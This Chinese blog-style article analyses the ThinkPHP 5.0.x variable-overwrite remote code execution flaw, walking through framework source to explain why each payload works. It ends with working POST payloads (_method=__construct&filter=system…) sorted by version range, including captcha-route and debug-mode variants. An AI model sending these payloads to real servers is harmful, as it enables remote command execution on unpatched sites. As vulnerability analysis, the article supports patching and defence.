溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析

發(fā)布時(shí)間:2021-04-21 11:41:19 來(lái)源:億速云 閱讀:191 作者:小新 欄目:編程語(yǔ)言

小編給大家分享一下thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

簡(jiǎn)介

總是碰到一些thinkphp5.0.X的站點(diǎn),網(wǎng)上搜索漏洞利用payload會(huì)有好幾種,變量覆蓋導(dǎo)致的遠(yuǎn)程代碼執(zhí)行,不同小版本之間會(huì)有些差別,比如下面幾種。

_method=__construct&filter=system&a=whoami
_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter=system&get[]=whoami
...

payload雖沒(méi)錯(cuò),但是用得我挺懵,不知所以然。
這幾種到底有什么差異?
各個(gè)參數(shù)的作用是什么?
為什么會(huì)這樣?

分析

thinkphp有兩種版本,一種是核心版,一種是完整版。簡(jiǎn)單來(lái)講核心版不包括第三方類庫(kù),比如驗(yàn)證碼庫(kù)(劃重點(diǎn),后面會(huì)用到)。

5.0.0說(shuō)起,適用于5.0.0的代碼執(zhí)行payload長(zhǎng)這樣

POST /thinkphp5.0.0 HTTP/1.1

_method=__construct&filter=system&a=whoami&method=GET

thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
為什么 _method=__construct
為什么 filter=system
為什么 a=whoami
為什么 method=GET

thinkphp的入口文件為public/index.php,如下。

// 定義應(yīng)用目錄
define('APP_PATH', __DIR__ . '/../application/');
// 加載框架引導(dǎo)文件
require __DIR__ . '/../thinkphp/start.php';

跟進(jìn)thinkphp/start.php。

// 1. 加載基礎(chǔ)文件
require __DIR__ . '/base.php';

// 2. 執(zhí)行應(yīng)用
App::run()->send();

看到是調(diào)用的是App::run()執(zhí)行應(yīng)用。
跟進(jìn)thinkphp/library/think/App.php下的run()函數(shù)。

    /**
     * 執(zhí)行應(yīng)用程序
     * @access public
     * @param Request $request Request對(duì)象
     * @return Response
     * @throws Exception
     */
    public static function run(Request $request = null)
    {
        ...

            // 獲取應(yīng)用調(diào)度信息
            $dispatch = self::$dispatch;
            if (empty($dispatch)) {
                // 進(jìn)行URL路由檢測(cè)
                $dispatch = self::routeCheck($request, $config);
            }
            // 記錄當(dāng)前調(diào)度信息
            $request->dispatch($dispatch);
        ...
     }

run()函數(shù)中,會(huì)根據(jù)請(qǐng)求的信息調(diào)用self::routeCheck()函數(shù),進(jìn)行URL路由檢測(cè)設(shè)置調(diào)度信息并賦值給$dispatch

    /**
     * URL路由檢測(cè)(根據(jù)PATH_INFO)
     * @access public
     * @param  \think\Request $request
     * @param  array          $config
     * @return array
     * @throws \think\Exception
     */
    public static function routeCheck($request, array $config)
    {
        ...
            // 路由檢測(cè)(根據(jù)路由定義返回不同的URL調(diào)度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        ...
        return $result;
    }

其中的Route::check()函數(shù)如下。

    /**
     * 檢測(cè)URL路由
     * @access public
     * @param Request   $request Request請(qǐng)求對(duì)象
     * @param string    $url URL地址
     * @param string    $depr URL分隔符
     * @param bool      $checkDomain 是否檢測(cè)域名規(guī)則
     * @return false|array
     */
    public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        ...
        $method = $request->method();
        // 獲取當(dāng)前請(qǐng)求類型的路由規(guī)則
        $rules = self::$rules[$method];
        ...

會(huì)調(diào)用$request->method()函數(shù)獲取當(dāng)前請(qǐng)求類型。

    /**
     * 當(dāng)前的請(qǐng)求類型
     * @access public
     * @param bool $method  true 獲取原始請(qǐng)求類型
     * @return string
     */
    public function method($method = false)
    {
        if (true === $method) {
            // 獲取原始請(qǐng)求類型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
        ...
        return $this->method;
    }

因?yàn)樯厦嬲{(diào)用method()函數(shù)是沒(méi)有傳參的,所以這里$method = false,進(jìn)入elseif。var_method是表單請(qǐng)求類型偽裝變量,可在application/config.php中看到其值為_method

// 表單請(qǐng)求類型偽裝變量
'var_method'             => '_method',

那么只要POST傳遞一個(gè)_method參數(shù),即可進(jìn)入下面的if,會(huì)執(zhí)行

$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

因此可通過(guò)指定_method來(lái)調(diào)用該類下的任意函數(shù)。
所以_method=__construct是為了調(diào)用thinkphp/library/think/Request.php下的__construct函數(shù)。需要注意的是這里同時(shí)也將Request類下的$method的值覆蓋為__construct了,這個(gè)很重要,先記錄下。

method => __construct

那為啥要調(diào)用__construct函數(shù)完成攻擊鏈,不是別的函數(shù)呢?
跟進(jìn)函數(shù),如下。

    /**
     * 架構(gòu)函數(shù)
     * @access public
     * @param array $options 參數(shù)
     */
    public function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
    }

上面調(diào)用__construct函數(shù)的時(shí)候把$_POST數(shù)組傳進(jìn)去了,也就是會(huì)用foreach遍歷POST提交的數(shù)據(jù),接著使用property_exists()檢測(cè)當(dāng)前類是否具有該屬性,如果存在則賦值,而$name$item都是來(lái)自$_POST,完全可控,這里就存在一個(gè)變量覆蓋的問(wèn)題。filter=system&method=GET 作用就是把當(dāng)前類下的$filter覆蓋為system,$method覆蓋為GET,當(dāng)前變量情況:

method => __construct => GET
filter => system

為什么要把method又覆蓋一遍成GET?,因?yàn)榍懊嬖?code>check()函數(shù)中有這么兩行代碼。

$method = $request->method();
// 獲取當(dāng)前請(qǐng)求類型的路由規(guī)則
$rules = self::$rules[$method];

前面已經(jīng)在method()函數(shù)中進(jìn)行了變量覆蓋,$method的值為__construct。而$rules的定義如下:

    private static $rules = [
        'GET'     => [],
        'POST'    => [],
        'PUT'     => [],
        'DELETE'  => [],
        'PATCH'   => [],
        'HEAD'    => [],
        'OPTIONS' => [],
        '*'       => [],
        'alias'   => [],
        'domain'  => [],
        'pattern' => [],
        'name'    => [],
    ];

那么如果不再次覆蓋$methodGET、POST、PUT等等,self::$rules[$method]就為self::$rules['__construct'],程序就得報(bào)錯(cuò)了嘛。

應(yīng)用調(diào)度信息后獲取完畢后,若開(kāi)啟了debug,則會(huì)記錄路由和請(qǐng)求信息。這也是很重要的一點(diǎn),先記錄。

if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

再根據(jù)$dispatch類型的不同進(jìn)入switch case處理。

            switch ($dispatch['type']) {
                case 'redirect':
                    // 執(zhí)行重定向跳轉(zhuǎn)
                    $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
                    break;
                case 'module':
                    // 模塊/控制器/操作
                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                    break;
                case 'controller':
                    // 執(zhí)行控制器操作
                    $data = Loader::action($dispatch['controller']);
                    break;
                case 'method':
                    // 執(zhí)行回調(diào)方法
                    $data = self::invokeMethod($dispatch['method']);
                    break;
                case 'function':
                    // 執(zhí)行閉包
                    $data = self::invokeFunction($dispatch['function']);
                    break;
                case 'response':
                    $data = $dispatch['response'];
                    break;
                default:
                    throw new \InvalidArgumentException('dispatch type not support');
            }

直接訪問(wèn)public/index.php默認(rèn)調(diào)用的模塊名/控制器名/操作名/index/index/index,具體定義在application/config.php里面。

// 默認(rèn)模塊名
'default_module'         => 'index',
// 禁止訪問(wèn)模塊
'deny_module_list'       => ['common'],
// 默認(rèn)控制器名
'default_controller'     => 'Index',
// 默認(rèn)操作名
'default_action'         => 'index',

因此對(duì)應(yīng)的$dispatch['type']module,會(huì)調(diào)用module()函數(shù),經(jīng)過(guò)一系列的處理后返回?cái)?shù)據(jù)到客戶端。

case 'module':
                    // 模塊/控制器/操作
                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                    break;

跟進(jìn)module()函數(shù),關(guān)鍵在invokeMethod()。

    /**
     * 執(zhí)行模塊
     * @access public
     * @param array $result 模塊/控制器/操作
     * @param array $config 配置參數(shù)
     * @param bool  $convert 是否自動(dòng)轉(zhuǎn)換控制器和操作名
     * @return mixed
     */
    public static function module($result, $config, $convert = null)
    {
     ...
            $data = self::invokeMethod($call);
     ...

invokeMethod()如下,跟進(jìn)bindParams()

   /**
     * 調(diào)用反射執(zhí)行類的方法 支持參數(shù)綁定
     * @access public
     * @param string|array $method 方法
     * @param array        $vars   變量
     * @return mixed
     */
    public static function invokeMethod($method, $vars = [])
    {
        ...
        $args = self::bindParams($reflect, $vars);
        ...
    }

bindParams()如下,跟進(jìn)param()。

    /**
     * 綁定參數(shù)
     * @access public
     * @param \ReflectionMethod|\ReflectionFunction $reflect 反射類
     * @param array             $vars    變量
     * @return array
     */
    private static function bindParams($reflect, $vars = [])
    {
        if (empty($vars)) {
            // 自動(dòng)獲取請(qǐng)求變量
            if (Config::get('url_param_type')) {
                $vars = Request::instance()->route();
            } else {
                $vars = Request::instance()->param();
            }
        }

這是關(guān)鍵點(diǎn),param()函數(shù)是獲取當(dāng)前請(qǐng)求參數(shù)的。

    /**
     * 設(shè)置獲取獲取當(dāng)前請(qǐng)求的參數(shù)
     * @access public
     * @param string|array  $name 變量名
     * @param mixed         $default 默認(rèn)值
     * @param string|array  $filter 過(guò)濾方法
     * @return mixed
     */
    public function param($name = '', $default = null, $filter = null)
    {
        if (empty($this->param)) {
            $method = $this->method(true);
            // 自動(dòng)獲取請(qǐng)求變量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并
            $this->param = array_merge($this->get(false), $vars, $this->route(false));
        }
        if (true === $name) {
            // 獲取包含文件上傳信息的數(shù)組
            $file = $this->file();
            $data = array_merge($this->param, $file);
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

這里又會(huì)調(diào)用method()獲取當(dāng)前請(qǐng)求方法,然后會(huì)根據(jù)請(qǐng)求的類型來(lái)獲取參數(shù)以及合并參數(shù),參數(shù)的來(lái)源有get[],route[],$_POST,那么通過(guò)可以變量覆蓋傳參,也可以直接POST傳參。
所以以下幾種方式都是一樣可行的:

a=whoami
aaaaa=whoami
get[]=whoami
route=whoami

最后調(diào)用input()函數(shù)

    /**
     * 獲取變量 支持過(guò)濾和默認(rèn)值
     * @param array         $data 數(shù)據(jù)源
     * @param string|false  $name 字段名
     * @param mixed         $default 默認(rèn)值
     * @param string|array  $filter 過(guò)濾函數(shù)
     * @return mixed
     */
    public function input($data = [], $name = '', $default = null, $filter = null)
    {
        ...
        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
        ...
    }

input()函數(shù)中會(huì)通過(guò)filterValue()函數(shù)對(duì)傳入的所有參數(shù)進(jìn)行過(guò)濾,這里全局過(guò)濾函數(shù)已經(jīng)在前面被覆蓋為system并會(huì)在filterValue()函數(shù)中使用。

/**
 * 遞歸過(guò)濾給定的值
 * @param mixed     $value 鍵值
 * @param mixed     $key 鍵名
 * @param array     $filters 過(guò)濾方法+默認(rèn)值
 * @return mixed
 */
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 調(diào)用函數(shù)或者方法過(guò)濾
            $value = call_user_func($filter, $value);
    ...

通過(guò)call_user_func()完成任意代碼執(zhí)行,這也就是filter為什么要覆蓋成system的原因了,覆蓋成別的函數(shù)也行,想執(zhí)行什么覆蓋成什么。

thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函數(shù)中有一處改動(dòng)。
thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
這里多了一處判斷,所以不加method=GET也不會(huì)報(bào)錯(cuò),可以正常執(zhí)行。

_method=__construct&filter=system&a=whoami

thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
測(cè)試到5.0.13版本,payload打過(guò)去沒(méi)有反應(yīng),為什么?
thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
跟蹤代碼發(fā)現(xiàn)thinkphp/library/think/App.php下的module()函數(shù)多了一行代碼。

    // 設(shè)置默認(rèn)過(guò)濾機(jī)制
    $request->filter($config['default_filter']);

前面通過(guò)變量覆蓋把$filter覆蓋成了system,這里又把$filter給二次覆蓋回去了,導(dǎo)致攻擊鏈斷了。

前面提到過(guò)如果開(kāi)啟了debug模式,很重要,為什么呢?

// 記錄路由和請(qǐng)求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

最后一句會(huì)調(diào)用param()函數(shù),而攻擊鏈核心就是通過(guò)前面的變量覆蓋全局過(guò)濾函數(shù)$filter,進(jìn)入param()獲取參數(shù)再進(jìn)入input()進(jìn)行全局過(guò)濾造成的代碼執(zhí)行。這里在$filter被二次覆蓋之前調(diào)用了一次param(),也就是說(shuō)如果開(kāi)啟了debug,在5.0.13開(kāi)始也可以攻擊,也是為什么有時(shí)候代碼執(zhí)行會(huì)返回兩次結(jié)果的原因。
thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
filter是在module函數(shù)中被覆蓋回去的,而執(zhí)行module函數(shù)是根據(jù)$dispatch的類型來(lái)決定的,那是否能不走module函數(shù),繞過(guò)這里的覆蓋呢?
完整版的thinkphp中,有提供驗(yàn)證碼類庫(kù),其中的路由定義在vendor/topthink/think-captcha/src/helper.php中。

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

其對(duì)應(yīng)的dispatch類型為method,完美的避開(kāi)了二次覆蓋,路由限定了請(qǐng)求類型為get,所以在5.0.13開(kāi)始,如果沒(méi)有開(kāi)debug,還可以調(diào)用第三方類庫(kù)完成攻擊鏈。

POST /?s=captcha

_method=__construct&filter=system&method=GET&a=whoami

thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
5.0.21版本開(kāi)始,函數(shù)method()有所改動(dòng)。
thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
通過(guò)server()函數(shù)獲取請(qǐng)求方法,并且其中調(diào)用了input()函數(shù)。

/**
 * 獲取server參數(shù)
 * @access public
 * @param string|array  $name 數(shù)據(jù)名稱
 * @param string        $default 默認(rèn)值
 * @param string|array  $filter 過(guò)濾方法
 * @return mixed
 */
public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

前面分析過(guò)了,最后代碼執(zhí)行是進(jìn)入input()中完成的,所以只要能進(jìn)入server()函數(shù)也可以造成代碼執(zhí)行。

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

param()函數(shù)是根據(jù)method()返回值來(lái)獲取參數(shù)的,現(xiàn)在method()的邏輯變了,如果不傳遞server[REQUEST_METHOD],返回的就是GET,閱讀代碼得知參數(shù)的來(lái)源有$param[]、$get[]、$route[],還是可以通過(guò)變量覆蓋來(lái)傳遞參數(shù),但是就不能用之前形如a=whoami任意參數(shù)名來(lái)傳遞了。

// 當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

在測(cè)試的時(shí)候發(fā)現(xiàn)只能通過(guò)覆蓋get[]、route[]完成攻擊,覆蓋param[]卻不行,調(diào)試后找到原因,原來(lái)是在route()函數(shù)里param[]又被二次覆蓋了。

    /**
     * 設(shè)置獲取路由參數(shù)
     * @access public
     * @param string|array  $name 變量名
     * @param mixed         $default 默認(rèn)值
     * @param string|array  $filter 過(guò)濾方法
     * @return mixed
     */
    public function route($name = '', $default = null, $filter = '')
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }
        return $this->input($this->route, $name, $default, $filter);
    }
POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&get[]=whoami

thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析
或者

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&route[]=whoami

thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析

總結(jié)

各版本通用的變量覆蓋payload如下
5.0.0~5.0.12 無(wú)條件觸發(fā)

POST / HTTP/1.1

_method=__construct&filter=system&method=GET&a=whoami

a可以替換成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方類庫(kù) 如完整版中的captcha

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以換成route[]

5.0.13~5.0.23 需要開(kāi)啟debug

POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替換成route[]

看完了這篇文章,相信你對(duì)“thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI